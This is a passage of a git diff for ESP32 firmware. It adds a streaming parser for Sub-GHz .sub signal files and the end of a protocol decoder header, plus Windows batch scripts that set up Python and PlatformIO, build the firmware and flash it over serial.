@param result Output decoded signal + * @return true if successfully decoded, false otherwise + */ + static bool decode(const std::vector& samples, + float frequency, + int rssi, + DecodedSignal& result); + + /** + * Convert RAW samples to pulse data format (duration, level) + * Helper function for protocol matching + */ + static std::vector> samplesToPulses( + const std::vector& samples); + +private: + /** + * Try to match samples against a specific protocol + * Creates a temporary protocol instance and attempts decoding + */ + static bool tryProtocol(const std::string& protocolName, + const std::vector>& pulses, + DecodedSignal& result); + + /** + * Extract basic signal parameters from RAW samples + */ + static void analyzeSignal(const std::vector& samples, + DecodedSignal& result); +}; + +#endif // PROTOCOL_DECODER_H + + diff --git a/src/modules/subghz_function/StreamingSubFileParser.cpp b/src/modules/subghz_function/StreamingSubFileParser.cpp new file mode 100644 index 0000000..04af981 --- /dev/null +++ b/src/modules/subghz_function/StreamingSubFileParser.cpp @@ -0,0 +1,79 @@ +#include "StreamingSubFileParser.h" +#include "esp_log.h" +#include + +static const char* TAG = "StreamingParser"; + +bool StreamingSubFileParser::parseHeader(const char* filePath, SubFileHeader& header) { + File file = SD.open(filePath, FILE_READ); + if (!file) { + ESP_LOGE(TAG, "Failed to open file: %s", filePath); + return false; + } + + // Read file line-by-line until we find Protocol + bool foundProtocol = false; + while (file.available() && !foundProtocol) { + String line = file.readStringUntil('\n'); + if (line.endsWith("\r")) { + line.remove(line.length() - 1); + } + + parseLine(line, header); + + if (line.startsWith("Protocol:")) { + foundProtocol = true; + } + } + + file.close(); + + ESP_LOGI(TAG, "Header parsed: freq=%u Hz, preset=%s, protocol=%s", + header.frequency, header.preset.c_str(), header.protocol.c_str()); + + return foundProtocol && header.frequency > 0; +} + +// Template implementation must be in header - moved to header file + +void StreamingSubFileParser::parseLine(const String& line, SubFileHeader& header) { + if (line.startsWith("Frequency:")) { + String freqStr = String(parseValue(line).c_str()); + header.frequency = freqStr.toInt(); + } else if (line.startsWith("Preset:")) { + header.preset = parseValue(line).c_str(); + } else if (line.startsWith("Custom_preset_data:")) { + String dataStr = String(parseValue(line).c_str()); + parseCustomPresetData(dataStr, header); + } else if (line.startsWith("Protocol:")) { + header.protocol = parseValue(line).c_str(); + } +} + +std::string StreamingSubFileParser::parseValue(const String& line) { + int index = line.indexOf(':'); + if (index == -1) { + return ""; + } + String value = line.substring(index + 1); + value.trim(); + return value.c_str(); +} + +void StreamingSubFileParser::parseCustomPresetData(const String& dataStr, SubFileHeader& header) { + std::istringstream iss(dataStr.c_str()); + std::string hexValue; + header.customPresetDataSize = 0; + + while (iss >> hexValue && header.customPresetDataSize < 128) { + try { + unsigned long value = strtoul(hexValue.c_str(), nullptr, 16); + header.customPresetData[header.customPresetDataSize++] = static_cast(value); + } catch (...) { + ESP_LOGW(TAG, "Failed to parse custom preset byte: %s", hexValue.c_str()); + } + } + + ESP_LOGD(TAG, "Parsed %zu custom preset bytes", header.customPresetDataSize); +} + diff --git a/src/modules/subghz_function/StreamingSubFileParser.h b/src/modules/subghz_function/StreamingSubFileParser.h new file mode 100644 index 0000000..953c70d --- /dev/null +++ b/src/modules/subghz_function/StreamingSubFileParser.h @@ -0,0 +1,117 @@ +#ifndef StreamingSubFileParser_h +#define StreamingSubFileParser_h + +#include +#include +#include + +/** + * Lightweight streaming parser for .sub files (RAM-optimized) + * + * Two-pass approach: + * 1. parseHeader() - reads header + preset (for CC1101 config) + * 2. streamRawData() - reads RAW data line-by-line and calls callback + * + * Minimal RAM usage: ~200 bytes (NO std::vector for all samples!) + */ +class StreamingSubFileParser { +public: + struct SubFileHeader { + uint32_t frequency; // in Hz + std::string preset; + uint8_t customPresetData[128]; + size_t customPresetDataSize; + std::string protocol; + + SubFileHeader() : frequency(0), customPresetDataSize(0) { + memset(customPresetData, 0, sizeof(customPresetData)); + } + }; + + StreamingSubFileParser() {} + + /** + * Parse header and preset info (first pass) + * @param filePath Full path to .sub file + * @param header Output: parsed header info + * @return true if successful + */ + bool parseHeader(const char* filePath, SubFileHeader& header); + + /** + * Stream RAW data with callback (second pass) + * @param filePath Full path to .sub file + * @param callback Function called for each pulse: (duration_us, pinState) + * @return true if successful + */ + template + bool streamRawData(const char* filePath, Callback callback) { + File file = SD.open(filePath, FILE_READ); + if (!file) { + return false; + } + + size_t samplesProcessed = 0; + + // Read file line-by-line, looking for RAW_Data + while (file.available()) { + String line = file.readStringUntil('\n'); + if (line.endsWith("\r")) { + line.remove(line.length() - 1); + } + + // Check if this is a RAW_Data line + if (line.startsWith("RAW_Data:")) { + // Parse durations from this line + std::string lineStr = line.c_str(); + size_t pos = lineStr.find("RAW_Data:") + 9; + + // Parse integers from the line + while (pos < lineStr.length()) { + // Skip whitespace + while (pos < lineStr.length() && isspace(lineStr[pos])) { + pos++; + } + + if (pos >= lineStr.length()) break; + + // Parse integer (with sign) + bool negative = false; + if (lineStr[pos] == '-') { + negative = true; + pos++; + } + + int32_t duration = 0; + while (pos < lineStr.length() && isdigit(lineStr[pos])) { + duration = duration * 10 + (lineStr[pos] - '0'); + pos++; + } + + if (negative) { + duration = -duration; + } + + // Call callback with (duration, pinState) + if (duration != 0) { + bool pinState = (duration > 0); + callback(abs(duration), pinState); + samplesProcessed++; + } + } + } + } + + file.close(); + + return samplesProcessed > 0; + } + +private: + void parseLine(const String& line, SubFileHeader& header); + std::string parseValue(const String& line); + void parseCustomPresetData(const String& dataStr, SubFileHeader& header); +}; + +#endif // StreamingSubFileParser_h + diff --git a/tools/build_firmware.bat b/tools/build_firmware.bat new file mode 100644 index 0000000..f189383 --- /dev/null +++ b/tools/build_firmware.bat @@ -0,0 +1,153 @@ +@echo off +setlocal enabledelayedexpansion +echo ======================================== +echo Building ESP32 Firmware +echo ======================================== +echo. + +REM Set venv path +set VENV_DIR=%~dp0.venv +set PYTHON_EXE=%VENV_DIR%\Scripts\python.exe + +REM Use LOCAL PlatformIO core +set PLATFORMIO_CORE_DIR=%~dp0.pio_core + +REM Check if venv already exists and is valid +if exist "%PYTHON_EXE%" ( + echo Virtual environment found. Checking Python version... + for /f "tokens=2" %%i in ('"%PYTHON_EXE%" --version 2^>^&1') do set VENV_VERSION=%%i + echo venv Python version: !VENV_VERSION! + + REM Extract major and minor version + for /f "tokens=1,2 delims=." %%a in ("!VENV_VERSION!") do ( + set VENV_MAJOR=%%a + set VENV_MINOR=%%b + ) + + REM Check if version is compatible (3.10-3.13) + if "!VENV_MAJOR!"=="3" ( + if !VENV_MINOR! GEQ 10 ( + if !VENV_MINOR! LEQ 13 ( + echo Virtual environment is compatible with PlatformIO. + goto :check_platformio + ) + ) + ) + + echo Virtual environment has incompatible Python version. Recreating... + rmdir /s /q "%VENV_DIR%" +) + +echo Creating virtual environment... + +REM Try to find a compatible Python version (3.10-3.13) +set COMPATIBLE_PYTHON= + +REM Try Python Launcher with specific versions +for %%v in (3.13 3.12 3.11 3.10) do ( + py -%%v --version >nul 2>&1 + if !errorlevel! equ 0 ( + echo Found Python %%v via py launcher + set COMPATIBLE_PYTHON=py -%%v + goto :create_venv + ) +) + +REM Check default python +where python >nul 2>&1 +if %errorlevel% equ 0 ( + for /f "tokens=2" %%i in ('python --version 2^>^&1') do set DEFAULT_VERSION=%%i + for /f "tokens=1,2 delims=." %%a in ("!DEFAULT_VERSION!") do ( + set DEF_MAJOR=%%a + set DEF_MINOR=%%b + ) + + if "!DEF_MAJOR!"=="3" ( + if !DEF_MINOR! GEQ 10 ( + if !DEF_MINOR! LEQ 13 ( + echo Using default Python !DEFAULT_VERSION! + set COMPATIBLE_PYTHON=python + goto :create_venv + ) + ) + ) +) + +REM No compatible version found, need to install +echo. +echo ERROR: No compatible Python version found (3.10-3.13 required)! +echo Installing Python 3.13... +echo. + +set PYTHON_VERSION=3.13.1 +set PYTHON_URL=https://www.python.org/ftp/python/!PYTHON_VERSION!/python-!PYTHON_VERSION!-amd64.exe +set PYTHON_INSTALLER=%TEMP%\python-installer-3.13.exe +set PYTHON_PATH=C:\Python313 + +curl -L -o "%PYTHON_INSTALLER%" "!PYTHON_URL!" +if !errorlevel! neq 0 ( + echo ERROR: Failed to download Python installer! + pause + exit /b !errorlevel! +) + +"%PYTHON_INSTALLER%" /quiet InstallAllUsers=1 PrependPath=0 TargetDir="%PYTHON_PATH%" Include_test=0 Include_launcher=1 +if !errorlevel! neq 0 ( + echo ERROR: Python installation failed! + del "%PYTHON_INSTALLER%" + pause + exit /b !errorlevel! +) + +del "%PYTHON_INSTALLER%" +echo Python 3.13 installed successfully! +set COMPATIBLE_PYTHON=%PYTHON_PATH%\python.exe + +:create_venv +echo Creating virtual environment with !COMPATIBLE_PYTHON!... +!COMPATIBLE_PYTHON! -m venv "%VENV_DIR%" +if !errorlevel! neq 0 ( + echo ERROR: Failed to create virtual environment! + pause + exit /b !errorlevel! +) +echo Virtual environment created successfully! +echo. + +:check_platformio +REM Check if PlatformIO is installed in venv +"%PYTHON_EXE%" -m pip show platformio >nul 2>&1 +if !errorlevel! neq 0 ( + echo Installing PlatformIO in virtual environment... + "%PYTHON_EXE%" -m pip install --upgrade pip + "%PYTHON_EXE%" -m pip install platformio + + "%PYTHON_EXE%" -m pip show platformio >nul 2>&1 + if !errorlevel! neq 0 ( + echo ERROR: PlatformIO installation failed! + pause + exit /b 1 + ) + echo PlatformIO installed successfully! +) +echo. + +REM Build ESP32 firmware in production mode +echo Building ESP32 firmware (production)... +"%PYTHON_EXE%" -m platformio run -e esp32dev +if !errorlevel! neq 0 ( + echo ERROR: Firmware build failed! + pause + exit /b !errorlevel! +) +echo. + +echo ======================================== +echo Firmware build completed successfully! +echo ======================================== +echo Firmware: .pio\build\esp32dev\firmware.bin +echo. +echo To flash firmware to ESP32: +echo flash_firmware.bat +echo. +pause diff --git a/tools/flash_firmware.bat b/tools/flash_firmware.bat new file mode 100644 index 0000000..e5309d2 --- /dev/null +++ b/tools/flash_firmware.bat @@ -0,0 +1,108 @@ +@echo off +setlocal enabledelayedexpansion +echo ======================================== +echo ESP32 Firmware Flash Tool +echo ======================================== +echo. + +REM Set venv path +set VENV_DIR=%~dp0.venv +set PYTHON_EXE=%VENV_DIR%\Scripts\python.exe + +REM Use LOCAL PlatformIO core +set PLATFORMIO_CORE_DIR=%~dp0.pio_core + +REM Check if venv exists +if not exist "%PYTHON_EXE%" ( + echo ERROR: Virtual environment not found! + echo Please run build_production.bat first to setup the environment. + pause + exit /b 1 +) + +echo Using Python from virtual environment... +"%PYTHON_EXE%" --version +echo. + +REM Check if PlatformIO is installed +"%PYTHON_EXE%" -m pip show platformio >nul 2>&1 +if !errorlevel! neq 0 ( + echo ERROR: PlatformIO not found in virtual environment! + echo Please run build_production.bat first. + pause + exit /b 1 +) + +REM Check if firmware exists +set FIRMWARE_FILE=.pio\build\esp32dev\firmware.bin +if not exist "%FIRMWARE_FILE%" ( + echo ERROR: Firmware not found at %FIRMWARE_FILE% + echo Please build the firmware first with build_production.bat + pause + exit /b 1 +) + +echo Firmware found: %FIRMWARE_FILE% +for %%A in ("%FIRMWARE_FILE%") do echo Firmware size: %%~zA bytes +echo. + +REM List available serial ports +echo Detecting available serial ports... +"%PYTHON_EXE%" -m platformio device list +echo. + +REM Ask user for upload method +echo Upload Options: +echo 1. Auto-detect serial port (recommended) +echo 2. Specify port manually +echo 3. Cancel +echo. +set /p UPLOAD_CHOICE="Select option (1-3): " + +if "%UPLOAD_CHOICE%"=="3" ( + echo Upload cancelled. + pause + exit /b 0 +) + +if "%UPLOAD_CHOICE%"=="2" ( + echo. + set /p UPLOAD_PORT="Enter COM port (e.g., COM3): " + echo Uploading firmware to !UPLOAD_PORT!... + "%PYTHON_EXE%" -m platformio run -e esp32dev -t upload --upload-port !UPLOAD_PORT! +) else ( + echo Auto-detecting serial port and uploading firmware... + echo. + echo IMPORTANT: Make sure your ESP32 is connected via USB! + echo Some boards may require holding the BOOT button during upload. + echo. + pause + "%PYTHON_EXE%" -m platformio run -e esp32dev -t upload +) + +if !errorlevel! neq 0 ( + echo. + echo ======================================== + echo ERROR: Firmware upload failed! + echo ======================================== + echo. + echo Troubleshooting tips: + echo 1. Check USB cable connection + echo 2. Try holding BOOT button on ESP32 + echo 3. Check device manager for COM port + echo 4. Try a different USB port + echo 5. Install CH340/CP2102 drivers if needed + echo. + pause + exit /b !errorlevel! +) + +echo. +echo ======================================== +echo Firmware uploaded successfully! +echo ======================================== +echo. +echo You can now open the serial monitor with: +echo monitor_serial.bat +echo. +pause